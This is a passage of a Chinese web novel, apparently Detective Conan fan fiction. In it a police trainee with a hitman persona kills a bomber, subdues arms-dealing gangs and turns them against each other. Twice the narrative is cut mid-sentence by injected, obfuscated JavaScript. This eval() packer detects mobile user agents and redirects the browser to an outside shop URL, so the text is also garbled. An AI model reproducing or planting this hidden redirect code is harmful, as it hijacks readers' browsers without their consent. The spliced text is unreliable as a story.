菱川遥不耐烦了，从口袋里摸出一根手臂粗的钢管攥在手里。 高桥正夫：“我天生就乐于助人。” 菱川遥仿佛只是展示一下，又把钢管收了回去。 两人分开后，菱川遥再次确认了一遍监控位置。 除了原有监控，还有爆处班为了防止普通人误入设下的障碍，也要躲开。 此时原地只剩下自己一人。 菱川遥抬头，面无表情地看了一眼不远处商务大楼。 普通人已经陆续撤离，只有零星几层楼还亮着灯，但是黑市交易不会那么轻易撤离。 所以最佳方案，还是要找到安装炸.弹的幕后主使，让他失去行动能力才行。 . 打着石膏的中年男人，须藤山藏，正小心翼翼躲在某个角落里。 虽然他之前是镝木组的一把手，手下有无数小弟，但那都是过去式了。 自从二把手莫名其妙失踪，大部分组员在警察突袭中被抓走，镝木组已经处于分崩离析的状态。 本来他们不至于衰落这么快，毕竟……他们背后还有另一个势力支撑。 那个势力深不可测，平时也只跟自己和二把手直接联系，但至今他们也完全不知道那个势力的全貌。 但就是这样一条大腿，居然也在这个时候抛弃了自己。 导致自己被菱川遥暴打一顿后，只能憋屈地当一个条子的小弟。 须藤山藏敢怒不敢难言。 手下也都是一群傻.逼！！居然卖主求荣，屈服于菱川遥的淫.威，把自己推出来当挡箭牌！ ——但是幸好，一切都会在今天结束。 须藤山藏阴险地低头，看了一眼自己石膏里藏着的引.爆器。 消息是自己放出去的，毕竟背靠神秘势力那么多年，他还是有点人脉。 炸.弹也是自己安装的，他知道菱川遥一定会过来查案，所以自己不仅要炸死那两个和自己之前有过节的社团，还要炸死菱川遥。 等自己找到机会溜走，到安全的地方，自己就会按下引爆器！ 须藤山藏露出笑，手机却嗡嗡震动了一下。 是菱川遥那个神经病拉了个群，在群里发消息：“@所有人，现在报位置。” 自己那些辣眼睛的前下属开始争先恐后报位置。 “我找到了一个炸.弹！位置在xxx……” “我这里也有！” “还有五楼的xx楼梯间。” 一群蠢货！须藤山藏惊呆了，这些二逼再找下去，自己偷装的所有炸.弹都要被找到了！ 就知道他们成事不足败事有余！幸好自己没有提前泄露计划。 不行，必须赶紧离开。 他怕自己忍不住立刻引.爆。 他深吸一口气，四下看了一眼没有人，菱川遥应该也不会黑进监控看自己位置。 此时不跑更待何时！ 然而就在他按捺着激动、颤抖的心，走出杂物堆积的阴影后时—— “你要去哪啊？须藤山藏。” “不是让你在群里报位置吗，居然敢无视领导发言？” 恶魔在背后说话。 声音仿佛让自己一瞬间跌入谷底。 9. 第 9 章 “老大在群里说话你居然不回复，是不是工作太顺了？还是活得不耐烦了？” 菱川遥不知道什么时候，悄无声息出现在走廊上，阴恻恻地看着他。 连脚步声都没有，跟鬼一样！ 须藤山藏感觉自己的小心脏在扑通扑通狂跳，体温也可能超过三十九度直逼四十度，再这么下去他斑纹都有可能开出来。 冷静，冷静，须藤山藏，菱川遥再怎么武力值高，他也只是个小屁孩而已。 他就连警察都没当多久，经验非常少，只要能忽悠过去，还是有希望的。 何况自己引.爆器藏在石膏里，他又看不到，因此一定不知道自己的计划！ 想到这里的须藤山藏硬气起来，挺直腰杆。 “大……大哥，我只是路过这里，我马上就去找炸弹，马上去。”他露出一个谄媚的笑。 菱川遥摸了摸下巴，还以为他会说出更有骨气一点的话。 他好整以暇看着须藤山藏一点点后退，一点点远离。 “你还需要找吗？”菱川遥慢悠悠开口，“我以为你对所有位置都了如指掌。” 须藤山藏猛地停住脚步。 暴露了。 他紧张地攥紧手里的东西，还想挣扎一下：“哈哈，怎、怎么会呢，你真会开玩笑……” “你现在还不动手，是因为自己没逃出去吗？”菱川遥慢慢走向他，眼底满是嘲讽。 仿佛在嘲笑他，看啊，我早就识破你的伪装，现在撒谎只是徒劳的。 须藤山藏沉默了，片刻后，他直接爆发。 “你要是敢再上前一步！我们所有人就同归于尽！”须藤山藏愤怒开口，举起沉重的右手。 “这里埋的炸弹足够将三层炸穿！你，还有那些二逼，还有楼上交易的人，全都一起死！” “引.爆器就藏在我右手里，你看看是我快，还是你快！” “有话好好说，别这么暴躁。”菱川遥无辜的摊开手，示意自己什么也没拿，“不就是让你回消息吗，怎么寻死觅活的。” 须藤山藏冷笑一声，心想如果不是你，我镝木组怎么会衰落至此。 自己又怎么会沦落到给别人当小弟的地步！ “你站在原地别动，不准靠近！”须藤山藏记得警察不能开枪，而且菱川遥更擅长使用冷兵器，上次他就是用钢管一个人殴打他们十几个人。 只要和菱川遥保持一定距离，自己还是有机会逃到安全的地方，然后瞬间引爆炸弹。 须藤山藏冷笑着后退，菱川遥果然停了下来。 好！就是现在！ 须藤山藏猛地朝着一旁的窗户撞去，眼底充满欣喜。 然而这欣喜只存在一秒，就被枪响打破。 “砰——！” “砰砰——！” 菱川遥手垂下去的时候，一把枪迅速滑入他的手掌，几乎不用瞄准，直接抬起来迅速开了三枪。 一枪打头，一枪打胸，最后一枪瞄准肩膀。 丝毫不拖泥带水，仿佛早已形成肌肉记忆。 须藤山藏几乎瞬息就失去了行动能力，连死前回光返照、启动炸.弹的机会都没有。 “七步之内，当然是枪快。”菱川遥甩了甩枪口，有点疑惑看着须藤山藏尸体，“不知道你在得意什么。” 菱川遥当然没有自己的警察配枪，但是没关系，他可以自动拾取。 要知道，上面正好就有两个组织在交易枪.支，自己很轻松就能找到他们藏匿货物的位置，再拾取一把。 菱川遥走上去，把石膏拆下来后，找到了一个小小的黑色引.爆器。 自己好像……很轻松杀了个人。菱川遥后知后觉。 老实说，没有想象中那么大心理压力。甚至可以说，不论是拿枪、开枪，还是等会儿收尾埋尸，他都很自然地冒出了想法，熟练到仿佛刻进习惯里。 生命对他而言已经没有了重量。 这就是【职业杀手】人设带来的影响吗？ 菱川遥自然露出一个凉薄的笑，却突然打了自己一巴掌。 呸呸呸，想什么呢，自己可是好人。 现在自己的行为叫为民除害，可不能搞错了。 为了避免自己想歪，菱川遥鬼鬼祟祟离开，确认周围没有摄像头看到自己。 到了一个没人的位置，菱川遥低头，将松田阵平和萩原研二拉入群聊。 . 两名排爆警一进入群聊就受到热烈欢迎。 【欢迎新人。】 【欢迎来到我们温暖的大家庭。】 【本群是‘镝木友好公益志愿小组’，群内请不要进行无关发言。】 这一系列发言看起来熟悉又陌生，不用想也知道他们是被迫的。 两人捂着隐隐作痛的双眼，从指缝里继续看群里的发言。 很多照片陆陆续续发了出来，都是炸弹的位置。 但诡异的是，每一张照片都是“一个人+炸弹”的微笑合照。 看起来倒像是什么风景打卡点。 萩原研二往上翻，找到了这一诡异现象的答案。 菱川遥要求所有人找到炸弹位.置后，要摆出相应姿势和炸.弹进行合照，避免他们找网图敷衍自己。 还要避免有人浑水摸鱼不出力，菱川遥要直接对着照片点生死簿。 所以就出现了群里这一幕，每个镝木组组员都笑容满面，但仔细看到他们眼神里，发现左眼写着“想死”，右眼写着“救命”。 萩原研二：“……倒是比我们自己去找……要快多了呃。” 然后菱川遥私聊了他们两人，说自己拿到引.爆器了，让他们放心。 而且也没有其他引爆风险，因为只要有一个人有小动作，所有组员都会一起被炸上天。 他们不敢造次的。 萩原研二强行让自己不去想他是怎么拿到引.爆器。 “好吧。”他微微松了口气，“小阵平，该我们行动了。” 在他和菱川遥私聊的时候，松田阵平联系了警视厅本部。 听说组织犯罪对策部已经派了大部队前来，而且还申请了搜查一课机动队支援，解决这次交易事件不在话下。 松田阵平放心不少。 他多问了一句，你们组队四课，已经把正在涉险的实习生召唤回去了吧？ 电话里安静了几秒钟的时候，然后说“对”。 “菱川同学已经和另一名实习生汇合了，有人可以作证。” 松田阵平再次放心下来。 在两人眼里，菱川遥已经撤退，离开商业大楼。 毕竟剩下的工作更加危险，那可是两个组织，而且他们手里有热武器，极为难缠。 只靠他一个人肯定无法行动。 虽然两人谁都没从监控中看到他的影子，略有些不安。 .35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129270|196182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此时菱川遥正在往回摸。 不过他不是回家，而是回到刚刚自己摸枪的武器库。 说是武器库，其实是一间小型会议室，估计之前还是某个小公司用来办公的地方，现在废弃了，完全成了仓库。 楼上那两伙人肯定不会当场一手交钱一手交货，如果反水了怎么办。 一般这种走私很容易得罪人，因为枪.支弹药在这个国家明面上禁止，只在黑市里流通，因此有高价值，能够洗.钱。 看中这一点的人很多，所以黑吃黑的事经常发生。为了防止交易方拿到枪/钱后，就立刻背刺，一般双方会约定一个地点见面、谈判，一切顺利后，再用一些间接的办法告诉对方钱货的位置。 这样双方就只能拿走自己交易的东西。 这样的方法极大保证了交易双方的安全性，但也极大增加了不确定性。 比如现在，菱川遥就发现了隐藏枪.支的地方，就打算做点什么。 他在角落里远远看了一眼，门口已经有人把守起来。 半个小时前明明没有人，菱川遥不得不遗憾承认，大概是自己摸走他们的枪被发现了。 自己还是不够专业。 “喂？你在这里干什么？” 一个人的声音从背后响起，菱川遥回头，看到一个面色不善的西装男人。 看到是生面孔，他脸色无比警惕，另一只手已经摸向腰间：“你……” 菱川遥突然掐住他脖子，并猛击其太阳穴。 五秒钟之后，西装男昏死在地上。 但是这里的动静还是被门口守着的人发现了，他们也摸向腰间的枪，朝着这边走来。 菱川遥计算了一下，如果把他们枪抢过来并一人一枪的可能性高不高。 结论是非常轻松，但是一旦开枪，恐怕就真的会惊动楼上正在交易的组织了。 而且松田哥和萩原哥已经进入大楼了吧？可能他们也会听到。 所以菱川遥就等在原地，默默数秒，差不多两人靠近后，就把他们拉进墙后，猛击其太阳穴。 他的动静又惊动了更远巡逻的人，于是又有两人过来。 ……十分钟后，菱川遥开始有点慌。 怎么源源不断啊？派这么多人把守武器库？ 楼上还有人吗，怎么感觉都在自己这里了呢？ 他回头看见墙脚后，堆成小山一样的人，摸了摸下巴。 自己是不是下手太重了，昏迷这么久，居然一个人都没醒吗？ . 此时的楼上，两方正在对峙的组织，陷入死一般的沉默。 其中一个纹身男眉头紧锁，怀疑的目光不断在对方人群里巡视。 “我们派去检查货物的人……怎么全都有去无回？？” “你们是不是耍我们！” 他话音刚落，背后的小弟就纷纷拿起刀枪，雪亮的光直指对方。 而另一边，叼着烟的男人表面上镇定，实则内心也非常疑惑。 刚刚对方提出先派一两个人去验货，自己答应了，也算是给到对方诚意。 有自己的命令，守在武器库附近的人也不会动手，他们应该很快就会上来。 但是现在怎么回事，怎么派一个人去就少一个，派两个人就少一对。 眼看对方耐心降低，抽烟男镇定地站起来：“稍安勿躁。” “这次，我亲自去看看。” 10. 第 10 章 抽烟男深思熟虑，心想自己不能一个人下去。 万一之前离开的人都遭遇不测呢？那么自己一个人岂不是去送人头。 所以自己肯定需要多几个帮手。 他点了三个人和自己一起离开，让二把手等在这里，继续和对方交易。 这三个下属各个身强力壮，想必不会出事。 “如果有问题，我会发消息，你立刻撤退。”抽烟男眼神阴沉。 二把手点点头，目送四人离开。 对方头领看他们也离开了四个人，心里平衡不少。 此时他们已经失踪太多人了，双方人数不对等，难免显得弱势一些。 不过，也就在对方四人离开后，纹身男身边突然小跑过来一个矮个子。 矮个子弯腰在纹身男耳边说了几句话，纹身男立刻变了脸色。 他说：老大，不对劲，好像有条子进来了。 纹身男看对面的眼神都变了，他心想自己不会是阴沟里翻船吧？ 矮个子组员小声在他耳边说，此时大楼里已经没有普通人，警察好像早就通过特殊渠道通知他们疏散了，就像提前知道消息一样。 纹身男倒吸一口凉气。 对面二把手对他的眼神不明所以，对他点了点头：“稍等，我们老大很快就有消息。” 对方看上去又很真诚，不像是把他们卖了的样子。 纹身男一下子摇摆不定。 两人不知道的是，此时抽烟男已经带着三名下属，走安全通道到了武器库那一层。 整层楼落针可闻，走廊也没有人影。 只有时不时一阵风从破窗吹入，呜呜地响，像幽怨的哭声。 抽烟男摸了摸自己手臂。他在黑.道上混了十多年，不知道得罪多少人，从来都是白刀子进红刀子出，没在怕过。 但现在自己却莫名有点心底发毛。 因为这一点点发毛的感觉，他心里开始打鼓，不太情愿上前。 “你们几个，去仓库看看。”他对身边三个下属下令。 三人点了点头，小心翼翼摸向腰间，并且边向半掩的仓库靠近。 三人在靠近武器库的时候，抽烟男却发现另一边角落有些不对劲。 他皱着眉靠近，发现墙后居然有影子，像是很多人倒在原地。 抽烟男眉心一跳，举着枪绕过去，正对着前方。 “卧槽！” 他没忍住骂了一声。 眼前横七竖八堆在一起的“尸体”……不正是之前陆陆续续消失的人吗？ 不好，有敌袭！抽烟男心中一惊，正要转头就跑，却感觉到脖子上已经有了凉意。 一把尖刀抵在他脖子上。 而且不知道什么时候，自己带来的三名下属居然已经没有声音了，仿佛整个走廊只有自己心脏跳动的声音。 “咦，你和他们穿的衣服不一样。” 和他想象中相反，意料中狡诈阴险的敌人，居然声音格外年轻清亮。 “那你应该比他们地位高一点吧，你是头目？” 抽烟男声音发抖：“你敢、敢动我，简直找、找死——” 他话还没说完，就被菱川遥猛击太阳穴晕过去。 “还分不清大小王呢。”菱川遥嫌弃地开口，任由他倒在地上。 废话真多。 菱川遥背后，是三个已经被解决的下属，几个壮汉都陷入了昏死。 他踢了踢抽烟男，弯腰从他口袋里拿出手机，并用他的指纹解锁。 手机界面正停留在发信息上，菱川遥找到其中最频繁联系的号码，给对面发了一条消息： 【有内鬼，终止交易。】 然后心满意足把手机扔回去。 另一边，接到消息的二把手猛地站起来。 他死死盯着手机屏幕上几个字。 有内鬼……？有内鬼！！ 老大离开前的告诫仿佛还在耳边：“如果有问题，我会发消息，你立刻撤退。” 他惊疑的眼神落在对面身上，心脏一点点沉下去。 内鬼肯定不是自己这边的人，那就只有可能是对方。 对方刚刚不知道接到什么消息，气氛也非常不妙，用怪异的眼神扫视自己这边。 怪不得明明天衣无缝的交易，对方派去的人却总是有来无回。 原来是对面的陷阱！ 现在他们的样子，难道是……准备动手了？！ 而此时纹身男所在的一方，也逐渐气氛紧绷起来。 条子怎么会突然包围这里？明明他们的交易天衣无缝。 更可疑的是，自己人一个接一个消失，但对面毫发无损。 莫非是……他们和条子达成了交易？？准备黑吃黑我们！ 气氛剑拔弩张起来，双方都从对方眼底看到了惊怒。 感受到老大间的针锋相对，小弟们也逐渐抄起武器。 不知道是谁突然喊了一声“动手”，双方朝着对方扑了过去。 于是等警察大部队突入此处的时候，想象中激烈抵抗并没有发生。 武器散落一地，受伤的人横七竖八躺在地上，场面异常混乱。 二把手所在的势力因为人数优势，经过艰难斗殴后终于占据上风，还不等他露出胜利的微笑，就看到了破门而入的警察。 他脸上笑容一僵，警、警察？？怎么回事？ 自己老大呢？！ 他的老大正在楼下。 此时抽烟男丝毫不知道，自己的势力已经被警察和另一伙人“合作”团灭了。 他才刚从昏迷中苏醒，迷迷糊糊间，觉得下半身很凉，很冷。 什么情况…… 哦，自己想起来了，好像是自己正在和另一个势力交易，但是对面的人频繁失踪，所以自己下来查探一番。 然后、然后自己就遭遇袭击。 他太阳穴还在一抽一抽的痛，手也被绑在身后。 艰难动了动上半身，看向自己觉得很冷的地方。 ……菱川遥在脱他的裤子。 抽烟男瞳孔地震，艰难转动眼珠，看向四周。 四周全都是脱了裤子的昏迷的男人，有一个甚至就贴在他身后。 画面之淫.乱，让他几乎当场尖叫出声，惊恐至极：“啊啊啊啊啊啊啊啊啊别别碰我！离我远点！！” “我招！我什么都招！！！” “啊啊啊啊啊特么有变态啊啊啊啊啊！！！” 菱川遥给了他一拳，尖叫声戛然而止。 他莫名其妙：“这么激动干什么……” 自己只是想用他们的裤子把他们绑一起而已，毕竟这么多人，乱跑怎么办？ 他将所有人都用裤子绑住手，很有成就感地站起来，擦了一把头上的汗。 警视厅有我，真是有福了。 去哪里找自己这么贴心的实习生？不仅解决了这么多黑.道人员，还打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129271|196182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包在一起。 做好一切后，菱川遥哼着小曲，从另一个出口绕出商业大楼。 . 当天晚上，警方在商业大楼内缴获数量众多的枪支弹药。 涉案的两个暴力团人员都被抓捕。现场围观了大量媒体，实时播报警方进展。 但是拍到某一幕的时候，现场媒体齐刷刷进行手动打码。 因为画面太美……二十多个光着下半身的嫌疑犯手捆在一起，被一长条拉出来，像是什么聚众**现场。 所有人看到这一幕时都陷入沉默。 除此之外，其他一切都很正常。 最后排爆警也从商业大楼里出来。 里面安装的十几个炸弹全都拆除完毕，并且已经进行回收。 作为最后收尾的人，萩原研二和松田阵平出来时，许多媒体都围了上去。 “不好意思，案件详情我们无可奉告，请之后等警视厅的官方消息。”松田阵平没有好脸色。 他实在不会应付媒体，于是萩原研二就笑着迎上去，滴水不漏周旋起来。 松田阵平东张西望，远远看到站在人群中，朝他招手的菱川遥，这才缓和脸色。 没乱跑就好。 菱川遥一遍招手，一边和被押走的抽烟男对视上。 抽烟男抖了抖，菱川遥沉下眼神，做了个威胁的动作。 于是抽烟男不敢再有其他动作，闭着嘴被带走了。 菱川遥身边站着的市原警部补，和身后站着的高桥正夫，都目睹了这一幕。 两人心底都在打鼓。 “那个……菱川啊。”市原警部补犹豫开口，“你应该没在这场事件中，发挥太多作用吧……” 菱川遥连连点头：“嗯嗯，我什么也没干。” . 然后菱川遥就被指控了。 指控他的人就是抽烟男。其余所有人被他敲晕时都没看见他人，只有抽烟男中途苏醒过，看到了自己。 他指控菱川遥对他们欲行不轨之事。 当然，这个扯淡的理由没被接受，但是事后搜查一课确实在商业大楼发现不同寻常的痕迹，比如第三方黑.道人员活动。 还比如……一具意料之外的尸体。 枪支交易双方人员都否认杀过这个人，他们甚至没有见过面。 于是菱川遥的行踪就可疑起来。 他自言自语：“早知道就把知情人灭口……咳咳咳！” 他用力咳嗽起来，强行制止自己思想滑坡。 不行不行，自己要正直一点，否则怎么去当卧底。 菱川遥就是在这种情况下，在警校上课期间，被叫到教官办公室。 他走进办公室后，看到正前方是脸色铁青的鬼冢教官，于是面色如常地打了声招呼。 转头，右侧坐着如坐针毡的市原佳村警部补，和沉默的搜查一课主任。 菱川遥还算从容，像大领导般背着手，对市原警部补点了点头。 市原佳村：“……” 菱川遥再转头，右侧坐着已经在冒黑气的松田阵平，还有露出爱莫能助眼神的萩原研二。 萩原研二摊手，小阵平已经生气了，你自求多福吧。 菱川遥：！！！ 他紧急思考了一下，现在这个场面其实不算太严重？应该有的谈，否则就不是叫家长来学校这么简单了。 于是他理直气壮举起手：“我申请未成年人保护法。”